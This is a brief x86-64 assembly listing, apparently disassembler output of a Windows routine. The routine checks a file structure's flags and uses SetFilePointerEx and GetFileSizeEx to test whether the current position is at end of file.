sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14002b80a
mov al, 1
jmp 0x14002b86a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14002b81b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14002b868
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002f8c8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002b868
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002b868
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14002b868
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14002b86a
xor al, al
add rsp, 0x20
pop rbx
ret